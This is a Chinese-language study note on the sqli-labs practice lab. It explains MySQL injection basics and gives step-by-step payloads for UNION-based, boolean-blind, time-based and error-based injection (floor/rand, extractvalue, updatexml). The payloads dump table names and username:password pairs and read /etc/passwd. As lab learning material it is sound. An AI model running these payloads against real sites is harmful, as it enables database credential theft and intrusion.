2024/7/10
sqli-labs-master
LIMIT
LIMIT 是 MySQL 内置函数,其作⽤是⽤于限制查询结果的条数。
其语法格式: LIMIT [位置偏移量,] ⾏数
order by
- ⽤法 1:按某个字段进⾏排序(默认升序,desc降序)
- ⽤法 2:按查询的第⼏个字段进⾏排序,如果超过查询的字段数,就报错
常⻅⼿动 sql 注⼊的闭合⽅式
or 1=1–+
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+
具体使⽤哪种⽅式取决于 SQL 语句使⽤了什么⽅式,我们可以在注⼊点输⼊反斜杠\来判断⻚⾯ 使⽤的哪种闭合⽅式。
union
UNION 操作符⽤于合并两个或多个 SELECT 语句的结果集。
注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
我们需要使 union 前⾯的语句出错才可以让我们后⾯查询的结果返回。
一般使前面的id=-1。
获取数据库名称
获取数据库名称会使⽤到 database(),⽽ database()是数据库内嵌的函数,主要是⽤于查询当前的数据库名称。
常⽤函数
version() #MySQL 版本
user() #数据库⽤户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
group_concat()函数
将 where 条件匹配到的多条记录连接成⼀个字符串。
select group_concat(table_name)
from information_schema.tables
where table_schema="security";
列出当前数据库中所有表的名称
information_schema,这是 MySQL ⾃带的⼀个元数据库,⽤于存储 MySQL 的 数据结 构。
元数据是⽤于描述数据本身的数据,称为元数据,包含了,MySQL 当中有多少个数据库, 这些数据库的名称是什么,每个数据库⾥有多少个表,具体的表名叫什么 。⽽ information_schema 这个库⾥⼜存放了很多个表,这些表⾥的不同字段表示 MySQL 中 的相关 信息。⽽我们也可以通过 information_schema 和以上我们学习到的注⼊使⽤⽅式去查询更多的信息。
查看 information_schema 库中 tables 表中 table_schema 等于 security 的相关信息
select table_schema,table_name
from information_schema.tables
where table_schema='security';
table_schema #该字段存储数据库名 ;
table_name #该字段存储对应数据库中的包括的表名
获取 users 表中的字段名
⾸先了解⼀下 information_schema 元数据库下的 columns 表,columns 表⽤于存储 MySQL 中 的所有表的字段类型。
查看 users 表拥有的字段名字
select table_schema,table_name,column_name
from information_schema.columns
where table_schema=database() and table_name='users';
使⽤ group_concat()将 users 表中的字段合并成⼀个字符串
select group_concat(column_name)
from information_schema.columns
where table_schema=database() and table_name='users';
获取⽤户名密码字段中的值
使⽤ group_concat(username,0x3a,password) 将⽤户名和密码连接成字符串,并使 ⽤: 冒号将⽤户名和密码分隔开。
0x 是⼗六进制的标志,3a 即⼗六进制的 3a。 0x3a 在 ASCII 码表代表:冒号
在 sql 注⼊时加⼊换⾏符
我们可以在每⼀个⽤户名:密码后⾯添加⼀个换⾏符。 16 HTML 中换⾏符⽤
来表示,但是我们需要转换成⼗六进制 0x3C,0x68,0x72,0x2F,0x3E
SQL 注⼊读取/etc/passwd ⽂件
指定⽬录:secure-file-priv=c://
不限⽬录:secure-file-priv=
禁⽌操作:secure-file-priv=NULL
在 MySQL 中读取⽂件,使⽤ load_file(“⽂件路径/名称”)
?id=-1' union select 1,load_file("/etc/passwd"),3 --+
SQL 注⼊写⼊⽂件
into outfile 语句⽤于把表数据导出到⼀个⽂本⽂件中
select * from Table into outfile '/路径/⽂件名'
基于报错的 SQL 注⼊
floor()
select count(*),(floor(rand(0)*2))x
from table
group by x;
rand()随机函数,返回 0~1 之间的某个值
floor(a)取整函数,返回⼩于等于 a,且值最接近 a 的⼀个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by 分组语句,按照查询结果分组
在执行group by语句的时候,group by语句后面的字段会被运算两次。
第一次是group by后面的字段和虚拟表进行对比,第二次是插入时会进行运算。
*floor(rand(1)2)=0100011 则不会产⽣报错因为我们可以看到前 2 次查询中临时表已经存在 0 和 1 的主键,所以我们⽆论查询多少条数据都不 会造成 主键冲突。
floor(rand(0)*2)=011011…
第一次统计时结果是0但是key里没有这个数据需要再重新计算一次并将结果写入,而重新计算一次算是第二次统计结果为1所以第一个写入的键值为1,第三次计算结果是1,count()统计次数为1+1,第四次计算结果为0依旧需要再次重新计算一次,但第五次计算结果为1键值重复了所以报错。
报错注⼊总结
⽬前常⻅的报错注⼊⼤约有10种:
-
extractvalue()、
-
floor()、
-
updatexml()、
-
exp()、
-
geometrycollection(),
-
multipoint(),
-
polygon(),
-
multipolygon(),
-
linestring(),
-
multilinestring()
其中原理主要是:
- BIGINT等数据类型溢出
- xpath语法错误
- count()+rand()+groupby()导致主键重复等
相关函数
count():获取select检索到的⾮NULL的数据总条数,找不到则返回0,count(*)则不论是否为N
ULL都会计⼊。
rand():产⽣⼀个0-1的随机浮点数。
floor():取浮点数的整数部分。
group by:根据⼀个或多个列对结果集进⾏分组并有排序功能,会忽略NuLL值。
concat():返回结果为连接参数产⽣的字符串。如有任何⼀个参数为NULL ,则返回值为 NULL。
extractvalue():负责在xml⽂档中按照xpath语法查询节点内容,MySQL版本须⼤于或等于5.
1.5。
updatexml():updatexml则负责修改查询到的内容,MySQL版本须⼤于或等于5.1.5。
extractvalue()
//负责在xml⽂档中按照xpath语法查询节点内容
//语法:extractvalue(⽬标xml⽂档,xml路径)
//第⼆个参数 xml中的位置是可操作的地⽅,xml⽂档中查找字符位置是⽤ /xxx/xxx/xxx/…这种
格式,如果我们写⼊其他格式,就会报错,并且会返回我们写⼊的⾮法格式内容,⽽这个⾮法的内容
就是我们想要查询的内容。
//select * from users where id = 1 and (extractvalue('anything',concat(0x7
e,(select version()))));
//有⼀点需要注意,extractvalue()能查询字符串的最⼤⻓度为32,就是说如果我们想要的结果
超过32,就需要⽤substring()函数截取,依次查看32位
updatexml()
//updatexml()函数与extractvalue()类似,是更新xml⽂档的函数。
//语法:updatexml(⽬标xml⽂档,xml路径,更新的内容)
//select username from users where id=1 and (updatexml('x','/xx/xx','y'));
//报错⽅式:select username from users where id=1 and (updatexml('x',concat
(0x7e,(select database())),'y'));
Less-1
步骤1
报错的 SQL 语句位置
''1'' LIMIT 0,1'
把外⾯的单引号去掉,那是⽤来说明报错的 SQL 语句位置的。
'1'' LIMIT 0,1
我们看到我们输⼊的 id=1 此时 id 参数已经成功闭合,但是多了⼀个单引号导致后⾯的语句执⾏失败,由此我们可以确认当前位置存在 SQL 注⼊。原因是我们输⼊的单引号没有被过滤,成功带 ⼊数据库中执⾏。
步骤2
order by 4
order by 3
我们可以得出结论:此处查询的字段数量为 3 个字段
步骤3
步骤4
查询数据库名
步骤5
查询数据库表名
步骤6
获取user表字段
步骤7
获取用户名和密码
带换行符
Less-8 基于布尔的盲注
步骤1
先确定数据库名长度
select username,password
from users
where id=1 and ( length(database()) = 8);
我们通过构造⼀个判断条件( length(database()) = 8)判断⽬标是否满⾜条件,满⾜条件则执⾏成 功,不满⾜则执⾏失败。
步骤2 substr()函数
猜解 8 个字符的具体数值。
?id=1' and (ascii(substr(database(),1,1)) >8) --+
substr(database(),1,1) 表示取出数据库名称的第⼀个字符,第⼀个 1 表示从第⼏个字符开始,第 ⼆个 1 表示取⼏个字符,我们猜解出⼀个值之后就要把第⼀个值+1 ⽤来猜解第⼆个值。
先使⽤⼤于号⼩于号确定范围,然后⼀直缩⼩范围,当范围缩⼩到个位数就可 以 ⽤=号来判断具体数值。
?id=1' and (ascii(substr(database(),1,1)) =115) --+
步骤3
猜解出数据库名后,步骤同Less-1,获取表名,列名后,得到用户信息。
Less-8 基于时间的盲注
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(3))--+
当 if()中的条件满⾜时,则直接返回,如果不满⾜时,则⾛ sleep,⻚⾯的响应 时 间根据所指定时⻓返回,从⽽可以判断注⼊的语句是否执⾏成功。
Less-5 报错注入 count+rand+groupby
步骤1 爆库
使用order by查出字段名为3
?id=1' union select 1,2,count(*) from information_schema.tables group by concat(0x7e,floor(rand(0)*2),database())--+
步骤2 爆表
?id=1' union select 1,2,count(*) from information_schema.tables group by concat(0x7e,floor(rand(0)*2),(select concat(0x7e,table_name) from information_schema.tables where table_schema=database() limit 3,1))--+
步骤3 爆字段
?id=1' union select 1,2,count(*) from information_schema.tables group by concat(0x7e,floor(rand(0)*2),(select concat(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))--+
步骤4 爆数据
?id=1' union select 1,2,count(*) from users group by concat(0x7e,floor(rand(0)*2), (select concat(0x7e,password) from users limit 0,1))--+
Less-5 报错注入 xpath语法错误
//数据库操作语句:
select * from student where id = 1 and (extractvalue('anything',concat('~',(select version()))));
select * from student where id = 1 and (updatexml('anything',concat('~',(select version())),'xxx'));
因为~不是标准的xpath语法,所以会产⽣报错,并将我们需要的信息返回在错误⻚⾯中
extractvalue()
步骤1 查用户
?id=1'and (extractvalue('anything',concat(0x7e,user())))%23
步骤2 查表
?id=1'and (extractvalue('anything',concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1))))%23
步骤3 查列
?id=1'and (extractvalue('anything',concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))))%23
步骤4 查内容
?id=1'and (extractvalue('anything',concat(0x7e,(select password from users limit 0,1))))%23
updatexml()
步骤1 查用户
?id=1'and updatexml(1,concat(0x7e,user()),1)%23
步骤2 查表
?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)%23
步骤3 查列
?id=id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),1)%23
步骤4 查内容
?id=id=1'and updatexml(1,concat(0x7e,(select password from users limit 1,1)),1)%23